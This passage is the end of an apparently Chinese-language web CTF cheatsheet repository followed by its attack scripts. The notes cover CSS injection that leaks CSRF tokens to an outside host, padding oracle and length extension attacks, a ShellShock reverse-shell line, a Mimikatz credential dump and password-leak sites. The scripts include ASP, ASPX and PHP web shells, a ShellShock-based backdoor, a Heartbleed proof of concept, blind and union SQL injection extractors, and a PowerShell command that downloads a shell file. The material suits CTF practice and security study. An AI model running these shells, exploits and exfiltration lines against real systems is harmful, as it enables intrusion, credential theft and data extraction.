`
2373 | - Bypassing CSP unsafe-eval via underscore templates
2374 | - `
<% alert(1) %>
`
2375 | - 0CTF 2018 - h4xors.club2
2376 | - google analytics ea
2377 | - ea is used to log actions and can contain arbitrary string
2378 | - Google CTF 2018 - gcalc2
2379 |
2380 |
2381 | ## Online Encoding / Decoding
2382 | - http://monyer.com/demo/monyerjs/
2383 |
2384 | ## JSFuck
2385 | - http://www.jsfuck.com/
2386 |
2387 | ## aaencode / aadecode
2388 | - http://utf-8.jp/public/aaencode.html
2389 | - https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html
2390 |
2391 |
2392 | ## RPO
2393 |
2394 | - http://example.com/a%2findex.php
2395 | - 瀏覽器會把`a%2findex.php`當成一個檔案
2396 | - Web Server則會正常解析成`a/index.php`
2397 | - 所以當使用**相對路徑**載入css時,就可以透過這種方式讓瀏覽器解析到其他層目錄下的檔案
2398 | - 如果該檔案內容可控,則有機會XSS
2399 | - 舉例:
2400 | - `/test.php`中有`
`
2401 | - 另有`/1/index.php`給`?query=`參數,會直接輸出該參數內容
2402 | - 訪問`/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php`就會讓背景變紅色
2403 | - Server: `/test.php`
2404 | - Browser: `/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php`
2405 | - CSS會載入`/1/?query={}*{background-color:red}/../../1/`
2406 | - CSS語法容錯率很高
2407 |
2408 | ## CSS Injection
2409 |
2410 | - CSS可控時,可以Leak Information
2411 | - Example:
2412 | - leak `
`
2413 | - `input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}`
2414 | - `input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}`
2415 | - ...
2416 | - SECCON CTF 2018 - GhostKingdom
2417 |
2418 | # 密碼學
2419 |
2420 | ## PRNG
2421 |
2422 | - php 7.1.0後 `rand()`和`srand()`已經等同`mt_rand()`和`mt_srand()`
2423 | - 測試結果:https://3v4l.org/PIUEo
2424 |
2425 | - php > 4.2.0 會自動對`srand()`和`mt_srand()`播種
2426 | - 只進行一次seed,不會每次`rand()`都seed
2427 |
2428 | - 可以通過已知的random結果,去推算隨機數種子,然後就可以推算整個隨機數序列
2429 | - 實際應用上可能會碰到連上的不是同個process,可以用`Keep-Alive
2430 | `來確保連上同個php process(只會seed一次)
2431 | - 7.1以前`rand()`使用libc random(),其核心為:`
2432 | state[i] = state[i-3] + state[i-31]`
2433 | - 所以只要有31個連續隨機數就能預測接下來的隨機數
2434 | - 後來`rand()` alias成`mt_rand()`,採用的是`Mersenne Twister`算法
2435 | - Example: HITCON 2015 - Giraffe’s Coffee
2436 |
2437 |
2438 | ## ECB mode
2439 |
2440 | ### Cut and Paste Attack
2441 |
2442 | - 每個Block加密方式都一樣,所以可以把Block隨意排列
2443 | - 舉例: `user=kaibro;role=user`
2444 | - 假設Block長度為8
2445 | - 構造一下user: (`|`用來區隔Block)
2446 | - `user=aaa|admin;ro|le=user`
2447 | - `user=aaa|aa;role=|user`
2448 | - 排列一下:(上面每塊加密後的Block都已知)
2449 | - `user=aaa|aa;role=|admin;ro`
2450 | - Example: AIS3 2017 pre-exam
2451 |
2452 | ### Encryption Oracle Attack
2453 |
2454 | - `ECB(K, A + B + C)`的運算結果可知
2455 | - B可控
2456 | - K, A, C未知
2457 | - C的內容可以透過以下方法爆出來:
2458 | - 找出最小的長度L
2459 | - 使得將B改成L個a,該段pattern剛好重複兩次
2460 | - `...bbbb bbaa aaaa aaaa cccc ...`
2461 | - `...???? ???? 5678 5678 ???? ...`
2462 | - 改成L-1個a,可得到`ECB(K, "aa...a" + C[0])`這個Block的內容
2463 | - C[0]可爆破求得,後面也依此類推
2464 | - 常見發生場景:Cookie
2465 |
2466 | ## CBC mode
2467 |
2468 | ### Bit Flipping Attack
2469 |
2470 | - 假設IV為A、中間值為B (Block Decrypt後結果)、明文為C
2471 | - CBC mode解密時,`A XOR B = C`
2472 | - 若要使輸出明文變`X`
2473 | - 修改A為`A XOR C XOR X`
2474 | - 則原本式子變成`(A XOR C XOR X) XOR B = X`
2475 |
2476 | ### Padding Oracle Attack
2477 |
2478 | - `PKCS#7`
2479 | - Padding方式:不足x個Byte,就補x個x
2480 | - 例如:Block長度8
2481 | - `AA AA AA AA AA AA AA 01`
2482 | - `AA AA AA AA AA AA 02 02`
2483 | - `AA AA AA AA AA 03 03 03`
2484 | - ...
2485 | - `08 08 08 08 08 08 08 08`
2486 | - 在常見情況下,如果解密出來發現Padding是爛的,會噴Exception或Error
2487 | - 例如:HTTP 500 Internal Server Error
2488 | - 須注意以下這類情況,不會噴錯:
2489 | - `AA AA AA AA AA AA 01 01`
2490 | - `AA AA 02 02 02 02 02 02`
2491 | - 原理:
2492 | - CBC mode下,前一塊密文會當作當前這塊的IV,做XOR
2493 | - 如果構造`A||B`去解密 (A, B是密文Block)
2494 | - 此時,A會被當作B的IV,B會被解成`D(B) XOR A`
2495 | - 可以透過調整A,使得Padding變合法,就可以得到`D(B)`的值
2496 | - 例如:要解最後1 Byte
2497 | - 想辦法讓最後解出來變成`01`結尾
2498 | - 運氣不好時,可能剛好碰到`02 02`結尾,可以調整一下A倒數第2 Byte
2499 | - `D(B)[-1] XOR A[-1] = 01`
2500 | - `D(B)[-1] = A[-1] XOR 01`
2501 | - 有最後1 Byte就可以依此類推,調整倒數第2 Byte
2502 | - `D(B) XOR C`就能得到明文 (C為前一塊真正的密文)
2503 |
2504 |
2505 |
2506 | ## Length Extension Attack
2507 |
2508 | - 很多hash算法都可能存在此攻擊,例如`md5`, `sha1`, `sha256`...
2509 | - 主要是因為他們都使用Merkle-Damgard hash construction
2510 | - 會依照64 Byte分組,不足會padding
2511 | - 1 byte的`0x80`+一堆`0x00`+8 bytes的`長度`
2512 | - IV是寫死的,且每一組輸出結果會當下一組的輸入
2513 | - 攻擊條件: (這裏md5換成sha1, sha256...也通用)
2514 | - 已知`md5(secret+message)`
2515 | - 已知`secret長度`
2516 | - 已知`message內容`
2517 | - 符合三個條件就能構造`md5(secret+message+padding+任意字串)`
2518 | - 工具 - hashpump
2519 | - 基本用法:
2520 | 1. 輸入`md5(secret+message)`的值
2521 | 2. 輸入`message`的值
2522 | 3. 輸入`secert長度`
2523 | 4. 輸入要加在後面的字串
2524 | 5. 最後會把`md5(secret+message+padding+任意字串)`和`message+padding+任意字串`噴給你
2525 |
2526 |
2527 | # 其它
2528 |
2529 | - Information leak
2530 | - .git / .svn
2531 | - robots.txt
2532 | - /.well-known
2533 | - .DS_Store
2534 | - .htaccess
2535 | - .pyc
2536 | - server-status
2537 | - crossdomain.xml
2538 | - admin/ manager/ login/ backup/ wp-login/ phpMyAdmin/
2539 | - xxx.php.bak / www.tar.gz / .xxx.php.swp / xxx.php~ / xxx.phps
2540 | - /WEB-INF/web.xml
2541 | - 文件解析漏洞
2542 | - Apache
2543 | - shell.php.ggininder
2544 | - shell.php%0a
2545 | - httpd 2.4.0 to 2.4.29
2546 | - CVE-2017-15715
2547 | - IIS
2548 | - IIS < 7
2549 | - a.asp/user.jpg
2550 | - user.asp;aa.jpg
2551 | - Nginx
2552 | - nginx < 8.03
2553 | - `cgi.fix_pathinfo=1`
2554 | - Fast-CGI開啟狀況下
2555 | - kaibro.jpg: `');?>`
2556 | - 訪問`kaibro.jpg/.php`生成shell.php
2557 |
2558 | - AWS常見漏洞
2559 | - S3 bucket權限配置錯誤
2560 | - nslookup判斷
2561 | - `nslookup 87.87.87.87`
2562 | - `s3-website-us-west-2.amazonaws.com.`
2563 | - 確認bucket
2564 | - 訪問`bucketname.s3.amazonaws.com`
2565 | - 成功會返回bucket XML資訊
2566 | - awscli工具
2567 | - 列目錄 `aws s3 ls s3://bucketname/ --region regionname`
2568 | - 下載 `aws sync s3://bucketname/ localdir --region regionname`
2569 | - metadata
2570 | - http://169.254.169.254/latest/meta-data/
2571 | - Tool
2572 | - https://andresriancho.github.io/nimbostratus/
2573 |
2574 | - 常見Port服務
2575 | - http://packetlife.net/media/library/23/common_ports.pdf
2576 | - `php -i | grep "Loaded Configuration File"`
2577 |
2578 | - 列出php.ini路徑
2579 |
2580 | - `curl -i -X OPTIONS 'http://evil.com/'`
2581 |
2582 | - ShellShock
2583 |
2584 | - `() { :; }; echo vulnerable`
2585 | - `() { :a; }; /bin/cat /etc/passwd`
2586 | - `() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'`
2587 |
2588 | - X-forwarded-for偽造來源IP
2589 |
2590 | - DNS Zone Transfer
2591 | - `dig @1.2.3.4 abc.com axfr`
2592 | - DNS Server: `1.2.3.4`
2593 | - Test Domain: `abc.com`
2594 |
2595 | - NodeJS unicode failure
2596 | - 內部使用UCS-2編碼
2597 | - `NN` => `..`
2598 | - `N` 即 `\xff\x2e`
2599 | - 轉型時捨棄第一個Byte
2600 |
2601 | - 特殊的CRLF Injection繞過
2602 | - `%E5%98%8A`
2603 | - 原始的Unicode碼為`U+560A`
2604 | - raw bytes: `0x56`, `0x0A`
2605 |
2606 | - MySQL utf8 v.s. utf8mb4
2607 | - MySQL utf8編碼只支援3 bytes
2608 | - 若將4 bytes的utf8mb4插入utf8中,在non strict模式下會被截斷
2609 | - CVE-2015-3438 WordPress Cross-Site Scripting Vulnerability
2610 |
2611 | - Nginx internal繞過
2612 | - `X-Accel-Redirect`
2613 | - [Document](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)
2614 | - Example:
2615 | - Olympic CTF 2014 - CURLing
2616 | - MidnightSun CTF 2019 - bigspin
2617 |
2618 |
2619 | - Nginx目錄穿越漏洞
2620 | - 常見於Nginx做Reverse Proxy的狀況
2621 | ```
2622 | location /files {
2623 | alias /home/
2624 | }
2625 | ```
2626 | - 因為`/files`沒有加上結尾`/`,而`/home/`有
2627 | - 所以`/files../`可以訪問上層目錄
2628 |
2629 | - Node.js目錄穿越漏洞
2630 | - CVE-2017-14849
2631 | - 影響: 8.5.0版
2632 | - `/static/../../../foo/../../../../etc/passwd`
2633 |
2634 | - Apache Tomcat Session操縱漏洞
2635 | - 預設session範例頁面`/examples/servlets /servlet/SessionExample`
2636 | - 可以直接對Session寫入
2637 |
2638 | - polyglot image+.htaccess
2639 | - XBM格式有定義在`exif_imagetype()`中
2640 | - 符合`.htaccess`格式
2641 | - Insomnihack CTF
2642 | ```
2643 | #define gg_width 1337
2644 | #define gg_height 1337
2645 | AddType application/x-httpd-php .asp
2646 | ```
2647 |
2648 | - AutoBinding / Mass Assignment
2649 | - [Mass_Assignment_Cheat_Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Mass_Assignment_Cheat_Sheet.md)
2650 | - Spring MVC
2651 | - `@ModelAttribute`
2652 | - 會將Client端傳來的參數(GET/POST)綁定到指定Object中,並自動將此Object加到ModelMap中
2653 | - Example
2654 | ```java
2655 | @RequestMapping(value = "/home", method = RequestMethod.GET)
2656 | public String home(@ModelAttribute User user, Model model) {
2657 | if (showSecret){
2658 | model.addAttribute("firstSecret", firstSecret);
2659 | }
2660 | return "home";
2661 | }
2662 | ```
2663 | - Example 2:
2664 | - [justiceleague](https://github.com/GrrrDog/ZeroNights-HackQuest-2016)
2665 | - Example 3: VolgaCTF 2019 - shop
2666 |
2667 | - tcpdump
2668 | - `-i` 指定網卡,不指定則監控所有網卡
2669 | - `-s` 默認只抓96bytes,可以-s指定更大數值
2670 | - `-w` 指定輸出檔
2671 | - `host` 指定主機(ip or domain)
2672 | - `dst`, `src` 來源或目的端
2673 | - `port`指定端口
2674 | - `tcp`, `udp`, `icmp` 指定協議
2675 | - example
2676 | - 來源192.168.1.34且目的端口為80
2677 | - `tcpdump -i eth0 src 192.168.1.34 and dst port 80`
2678 | - 來源192.168.1.34且目的端口是22或3389
2679 | - `tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'`
2680 | - 保存檔案,可以後續用wireshark分析
2681 | - `tcpdump -i eth0 src kaibro.tw -w file.cap`
2682 |
2683 |
2684 |
2685 | # Tool & Online Website
2686 |
2687 | ## Information gathering
2688 |
2689 | - http://pentest-tools.com/
2690 |
2691 | - https://www.shodan.io/
2692 |
2693 | - https://www.zoomeye.org/
2694 |
2695 | - https://censys.io
2696 |
2697 | - https://crt.sh/
2698 |
2699 | - http://webscan.cc/
2700 |
2701 | - https://x.threatbook.cn/
2702 |
2703 | - https://dnsdumpster.com/
2704 |
2705 | - https://www.domainiq.com/reverse_whois
2706 |
2707 | - https://www.yougetsignal.com/tools/web-sites-on-web-server/
2708 |
2709 | - https://www.robtex.com/dns-lookup/
2710 |
2711 | - https://phpinfo.me/bing.php
2712 |
2713 | - https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
2714 |
2715 | - https://github.com/laramies/theHarvester
2716 |
2717 | - https://github.com/drwetter/testssl.sh
2718 |
2719 | - https://github.com/urbanadventurer/WhatWeb
2720 |
2721 | - https://buckets.grayhatwarfare.com/
2722 |
2723 | ## Social Engineering
2724 |
2725 | - https://leakedsource.ru/
2726 |
2727 | - https://www.shuju666.com/
2728 |
2729 | - http://www.pwsay.com/
2730 |
2731 | - http://www.mimayun.club/
2732 |
2733 | - http://leakbase.pw
2734 |
2735 | - https://haveibeenpwned.com/
2736 |
2737 | ## Crack
2738 |
2739 | - http://cmd5.com
2740 |
2741 | - https://somd5.com/
2742 |
2743 | - https://crackstation.net/
2744 |
2745 | - https://hashkiller.co.uk/
2746 |
2747 | ## 其它
2748 |
2749 | - https://3v4l.org/
2750 | - php eval
2751 |
2752 | - https://github.com/denny0223/scrabble
2753 | - git
2754 |
2755 | - https://github.com/lijiejie/ds_store_exp
2756 | - .DS_Store
2757 |
2758 | - https://github.com/kost/dvcs-ripper
2759 | - git / svn / hg / cvs ...
2760 |
2761 | - http://www.factordb.com/
2762 |
2763 | - unicode converter
2764 | - https://www.branah.com/unicode-converter
2765 |
2766 | - PHP混淆 / 加密
2767 | - http://enphp.djunny.com/
2768 | - http://www.phpjm.net/
2769 |
2770 | - https://github.com/PowerShellMafia/PowerSploit
2771 |
2772 | - https://github.com/swisskyrepo/PayloadsAllTheThings/
2773 |
2774 | - http://xssor.io
2775 |
2776 | - https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
2777 | - XSS Payloads
2778 |
2779 | - DNSLog
2780 | - http://ceye.io
2781 | - https://www.t00ls.net/dnslog.html
2782 | - http://dnsbin.zhack.ca/
2783 |
2784 | - https://r12a.github.io/apps/encodings/
2785 | - Encoding converter
2786 |
2787 | - http://tool.leavesongs.com/
2788 |
2789 | - Mimikatz
2790 | - `mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txt`
2791 |
2792 | - WASM
2793 | - https://wasdk.github.io/WasmFiddle/
2794 |
2795 | ----
2796 |
2797 | # Contributing
2798 |
2799 | Welcome to open Pull Request
2800 |
2801 | OR
2802 |
2803 | [](https://www.buymeacoffee.com/b4wKcIZ)
2804 |
2805 |
2806 |
--------------------------------------------------------------------------------
/scripts/backdoor/bypass_mail_shellshock.php:
--------------------------------------------------------------------------------
1 | $tmp 2>&1");
15 | // In Safe Mode, the user may only alter environment variableswhose names
16 | // begin with the prefixes supplied by this directive.
17 | // By default, users will only be able to set environment variablesthat
18 | // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
19 | // PHP will let the user modify ANY environment variable!
20 | mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
21 | $output = @file_get_contents($tmp);
22 | @unlink($tmp);
23 | if($output != "") return $output;
24 | else return "No output, or not vuln.";
25 | }
26 | echo shellshock($_REQUEST["cmd"]);
27 | ?>
28 |
--------------------------------------------------------------------------------
/scripts/backdoor/get_flag.php:
--------------------------------------------------------------------------------
1 |
5 |
--------------------------------------------------------------------------------
/scripts/backdoor/php-jpeg-shell.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yavolo/Web-CTF-Cheatsheet/ac01986e91462996e9d2226f60fddfbd6512aea6/scripts/backdoor/php-jpeg-shell.php
--------------------------------------------------------------------------------
/scripts/backdoor/shell.asp:
--------------------------------------------------------------------------------
1 | <%execute request("gg")%>
2 |
--------------------------------------------------------------------------------
/scripts/backdoor/shell.aspx:
--------------------------------------------------------------------------------
1 | <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
2 |
--------------------------------------------------------------------------------
/scripts/backdoor/shell.php:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/scripts/backdoor/uploader.php:
--------------------------------------------------------------------------------
1 |
5 |
10 |
--------------------------------------------------------------------------------
/scripts/others/IP.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import sys
3 | import socket
4 |
5 | def getDec(parts):
6 | dec = 0
7 | w = 1
8 | for i in range(len(parts)):
9 | dec += int(parts[i]) * (256 ** ((3 - i)))
10 | return dec
11 |
12 | def getHex(parts):
13 | hx = ''
14 | for i in range(len(parts)):
15 | if i != 0: hx += '.'
16 | hx += hex(int(parts[i]))
17 | return hx
18 |
19 | def getOct(parts):
20 | ot = ''
21 | for i in range(len(parts)):
22 | if i != 0: ot += '.'
23 | ot += oct(int(parts[i]))
24 | return ot
25 |
26 | def getBin(parts):
27 | bi = ''
28 | for i in range(len(parts)):
29 | if i != 0: bi += '.'
30 | bi += bin(int(parts[i]))
31 | return bi
32 |
33 | if len(sys.argv) < 2:
34 | host = raw_input('input host:')
35 | else:
36 | host = sys.argv[1]
37 | ip = socket.gethostbyname(host)
38 |
39 | print "IP Address:", ip
40 |
41 | print
42 |
43 | parts = ip.split('.')
44 |
45 | dec = getDec(parts)
46 |
47 | print "Decimal IP:", dec
48 |
49 | print
50 |
51 | hx = getHex(parts)
52 |
53 | print "Hex IP:", hex(dec)
54 | print "Dotted Hex IP:", hx
55 |
56 | print
57 |
58 | print "Oct IP", oct(dec)
59 | print "Dotted Oct IP:", getOct(parts)
60 |
61 | print
62 |
63 | print "xip.io:", ip + ".xip.io"
64 |
--------------------------------------------------------------------------------
/scripts/others/ssltest.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
4 | # The author disclaims copyright to this source code.
5 |
6 | import sys
7 | import struct
8 | import socket
9 | import time
10 | import select
11 | import re
12 | from optparse import OptionParser
13 |
14 | options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
15 | options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
16 |
17 | def h2bin(x):
18 | return x.replace(' ', '').replace('\n', '').decode('hex')
19 |
20 | hello = h2bin('''
21 | 16 03 02 00 dc 01 00 00 d8 03 02 53
22 | 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
23 | bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
24 | 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
25 | 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
26 | c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
27 | c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
28 | c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
29 | c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
30 | 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
31 | 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
32 | 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
33 | 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
34 | 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
35 | 00 0f 00 01 01
36 | ''')
37 |
38 | hb = h2bin('''
39 | 18 03 02 00 03
40 | 01 40 00
41 | ''')
42 |
43 | def hexdump(s):
44 | for b in xrange(0, len(s), 16):
45 | lin = [c for c in s[b : b + 16]]
46 | hxdat = ' '.join('%02X' % ord(c) for c in lin)
47 | pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
48 | print ' %04x: %-48s %s' % (b, hxdat, pdat)
49 | print
50 |
51 | def recvall(s, length, timeout=5):
52 | endtime = time.time() + timeout
53 | rdata = ''
54 | remain = length
55 | while remain > 0:
56 | rtime = endtime - time.time()
57 | if rtime < 0:
58 | return None
59 | r, w, e = select.select([s], [], [], 5)
60 | if s in r:
61 | data = s.recv(remain)
62 | # EOF?
63 | if not data:
64 | return None
65 | rdata += data
66 | remain -= len(data)
67 | return rdata
68 |
69 |
70 | def recvmsg(s):
71 | hdr = recvall(s, 5)
72 | if hdr is None:
73 | print 'Unexpected EOF receiving record header - server closed connection'
74 | return None, None, None
75 | typ, ver, ln = struct.unpack('>BHH', hdr)
76 | pay = recvall(s, ln, 10)
77 | if pay is None:
78 | print 'Unexpected EOF receiving record payload - server closed connection'
79 | return None, None, None
80 | print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
81 | return typ, ver, pay
82 |
83 | def hit_hb(s):
84 | s.send(hb)
85 | while True:
86 | typ, ver, pay = recvmsg(s)
87 | if typ is None:
88 | print 'No heartbeat response received, server likely not vulnerable'
89 | return False
90 |
91 | if typ == 24:
92 | print 'Received heartbeat response:'
93 | hexdump(pay)
94 | if len(pay) > 3:
95 | print 'WARNING: server returned more data than it should - server is vulnerable!'
96 | else:
97 | print 'Server processed malformed heartbeat, but did not return any extra data.'
98 | return True
99 |
100 | if typ == 21:
101 | print 'Received alert:'
102 | hexdump(pay)
103 | print 'Server returned error, likely not vulnerable'
104 | return False
105 |
106 | def main():
107 | opts, args = options.parse_args()
108 | if len(args) < 1:
109 | options.print_help()
110 | return
111 |
112 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
113 | print 'Connecting...'
114 | sys.stdout.flush()
115 | s.connect((args[0], opts.port))
116 | print 'Sending Client Hello...'
117 | sys.stdout.flush()
118 | s.send(hello)
119 | print 'Waiting for Server Hello...'
120 | sys.stdout.flush()
121 | while True:
122 | typ, ver, pay = recvmsg(s)
123 | if typ == None:
124 | print 'Server closed connection without sending Server Hello.'
125 | return
126 | # Look for server hello done message.
127 | if typ == 22 and ord(pay[0]) == 0x0E:
128 | break
129 |
130 | print 'Sending heartbeat request...'
131 | sys.stdout.flush()
132 | s.send(hb)
133 | hit_hb(s)
134 |
135 | if __name__ == '__main__':
136 | main()
--------------------------------------------------------------------------------
/scripts/sqlinj/mssql_column.rb:
--------------------------------------------------------------------------------
1 | # encoding: UTF-8
2 | require 'net/http'
3 | require 'uri'
4 |
5 | $host = 'www.target.com'
6 |
7 | print "Input table name:"
8 | table = gets.chomp
9 |
10 | (1..100).each do |i|
11 | $target = "/news.asp?DeptID=1337';if (select top 1 col_name(object_id('#{table}'),#{i}) from sysobjects)>0 select 1--"
12 | $path = URI::encode($target)
13 | res = Net::HTTP.get_response($host, $path)
14 | /varchar value '(.*)' to data type int/ =~ res.body
15 | col = Regexp.last_match[1].strip
16 | puts col
17 | sleep 0.1
18 | end
19 |
--------------------------------------------------------------------------------
/scripts/sqlinj/mssql_table.rb:
--------------------------------------------------------------------------------
1 | # encoding: UTF-8
2 | require 'net/http'
3 | require 'uri'
4 |
5 |
6 | dbname = 'mydb'
7 |
8 | $host = 'www.target.com'
9 | $path = URI::encode "/news.asp?DeptID=02';if (select top 1 name from #{dbname}..sysobjects where xtype='U')>0 select 1 --"
10 | $p1 = "/news.asp?DeptID=02';if (select top 1 name from #{dbname}..sysobjects where xtype='U'"
11 | $p2 = " and name not in ("
12 | $p3 = "))>0 select 1--"
13 | $key = ""
14 |
15 | res = Net::HTTP.get_response($host, $path)
16 |
17 | /varchar value '(.*)' to data type int/ =~ res.body
18 | now = Regexp.last_match[1].strip
19 | puts now
20 |
21 | flag = 1
22 |
23 | (1..100).each do
24 | if flag == 0
25 | $key = $key + ", '" + now + "'"
26 | else
27 | flag = 0
28 | $key = $key + "'" + now + "'"
29 | end
30 |
31 | $path = URI::encode($p1 + $p2 + $key + $p3)
32 | res = Net::HTTP.get_response($host, $path)
33 | /varchar value '(.*)' to data type int/ =~ res.body
34 | now = Regexp.last_match[1].strip
35 | puts now
36 | sleep 0.1
37 | end
38 |
--------------------------------------------------------------------------------
/scripts/sqlinj/mysql_time.rb:
--------------------------------------------------------------------------------
1 | # encoding: UTF-8
2 | # MySQL Blind Time-Based Template
3 | require 'net/http'
4 | require 'uri'
5 |
6 | $url = 'http://target.com/login.php'
7 | $ans = ''
8 | $len = 0
9 | $delay = 2
10 |
11 | (1..100).each do |i|
12 | $query = "a' AND (SELECT * FROM (SELECT if (length(user())=#{i},sleep(#{$delay}),1))a) AND 'a'='a"
13 | start = Time.now
14 | res = Net::HTTP.post_form URI($url), {"user_id" => $query, "user_password" => "b"}
15 | finish = Time.now
16 | if finish - start > $delay
17 | $len = i
18 | break
19 | end
20 | end
21 |
22 | puts "length: #{$len}"
23 |
24 | (1..$len).each do |i|
25 | l = 40
26 | r = 130
27 |
28 | while(l <= r)
29 | break if l == r
30 | mid = ((l + r) / 2)
31 | $query = "a' AND (SELECT * FROM (SELECT if (ascii(mid(user(),#{i},1))>#{mid},sleep(#{$delay}),1))a) AND 'a'='a"
32 | start = Time.now
33 | res = Net::HTTP.post_form URI($url), {"user_id" => $query, "user_password" => "b"}
34 | finish = Time.now
35 | if finish - start > $delay
36 | l = mid + 1
37 | else
38 | r = mid
39 | end
40 | end
41 | $ans += l.chr
42 | puts $ans
43 | end
44 |
--------------------------------------------------------------------------------
/scripts/sqlinj/mysql_union.rb:
--------------------------------------------------------------------------------
1 | # encoding: UTF-8
2 |
3 | # MySQL Union-Based Template
4 | require 'net/http'
5 | require 'uri'
6 |
7 | $host = 'target.com'
8 | $query = "/news.php?id=-7/**/union/**/select/**/%s,2,3,4,5,6,7,8,9,10,11%s%s--#"
9 | info_payload = ["user()", "database()", "version()"]
10 | db_payload = ["group_concat(schema_name)", "/**/from/**/information_schema.schemata",nil]
11 | tb_payload = ["group_concat(table_name)", "/**/from/**/information_schema.columns", "/**/where/**/table_schema='%s'"]
12 |
13 | # Log
14 | f = File.open("result.txt", "w")
15 |
16 | # Basic Info
17 | f.write("\n====Basic Info====\n")
18 | info_payload.each do |i|
19 | $path = $query % [i, nil, nil]
20 | res = Net::HTTP.get_response($host, $path)
21 |
22 | # Parse Data
23 | /class="title02">(.*) =~ res.body
24 | data = Regexp.last_match[1].strip
25 |
26 | puts "#{i}: #{data}"
27 | f.write("#{i}: #{data}\n")
28 | end
29 |
30 |
31 | # Database
32 | puts "Databases: "
33 | f.write("\n====Databases====\n")
34 | $path = $query % db_payload
35 | res = Net::HTTP.get_response($host, $path)
36 | /class="title02">(.*) =~ res.body
37 |
38 | databases = Regexp.last_match[1].strip.split(',')
39 | databases.each do |i|
40 | puts i
41 | f.write("#{i}\n")
42 | end
43 |
44 |
45 | # Tables
46 | databases.each do |db|
47 | puts "[#{db}]"
48 | f.write("\n[#{db}]\n")
49 | $path = $query % [tb_payload[0], tb_payload[1], tb_payload[2] % db]
50 | puts $path
51 | res = Net::HTTP.get_response($host, $path)
52 | /class="title02">(.*) =~ res.body
53 | tbs = Regexp.last_match[1].strip
54 |
55 | puts tbs
56 |
57 | tbs.split(',').uniq.each do |tb|
58 | f.write("#{tb}\n")
59 | end
60 | end
61 | f.close
62 |
--------------------------------------------------------------------------------
/scripts/sqlinj/mysql_useragent.rb:
--------------------------------------------------------------------------------
1 | require 'net/http'
2 | require 'uri'
3 |
4 | # MySQL injection in User-Agent Template
5 |
6 | url = URI.parse 'http://target.com/index.php'
7 |
8 | http = Net::HTTP.new(url.host, url.port)
9 |
10 | # Set Timeout
11 | http.read_timeout = 2
12 | http.open_timeout = 2
13 |
14 | $ans = ''
15 | (1..100).each do |i|
16 | l = 32
17 | r = 130
18 | while(l <= r)
19 | break if l == r
20 | mid = (l + r) / 2
21 | $payload = "'+(select if(ascii(mid(database(),#{i},1))>#{mid},sleep(2),1))+'"
22 | begin
23 | resp = http.start() {|http|
24 | http.get(url.path, {'User-Agent' => $payload})
25 | }
26 | r = mid
27 | rescue
28 | l = mid + 1
29 | end
30 | end
31 | puts l
32 | $ans += l.chr
33 | puts $ans
34 | end
35 |
--------------------------------------------------------------------------------
/scripts/sqlinj/sqlite_login.rb:
--------------------------------------------------------------------------------
1 | # encoding: UTF-8
2 |
3 | # sqlite injection (POST method) (二分搜)
4 | # SECCON sqlsrf爆admin密碼
5 |
6 | require 'net/http'
7 | require 'uri'
8 |
9 | $url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
10 | $ans = ''
11 |
12 | (1..100).each do |i|
13 | l = 48
14 | r = 122
15 |
16 | while(l <= r)
17 | #puts "left: #{l}, right: #{r}"
18 | break if l == r
19 |
20 | mid = ((l + r) / 2)
21 | $query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1"
22 |
23 | res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"}
24 |
25 | if res.body.include? 'document.location'
26 | l = mid + 1
27 | else
28 | r = mid
29 | end
30 |
31 | end
32 | $ans += l.chr
33 | puts $ans
34 |
35 | end
36 |
--------------------------------------------------------------------------------
/scripts/windows/download.bat:
--------------------------------------------------------------------------------
1 | powershell -Command "$c=new-object System.Net.WebClient;$c.DownloadFile('http://file.kaibro.tw/s','C:\shell.php')"
2 |
--------------------------------------------------------------------------------
/scripts/windows/download.ps1:
--------------------------------------------------------------------------------
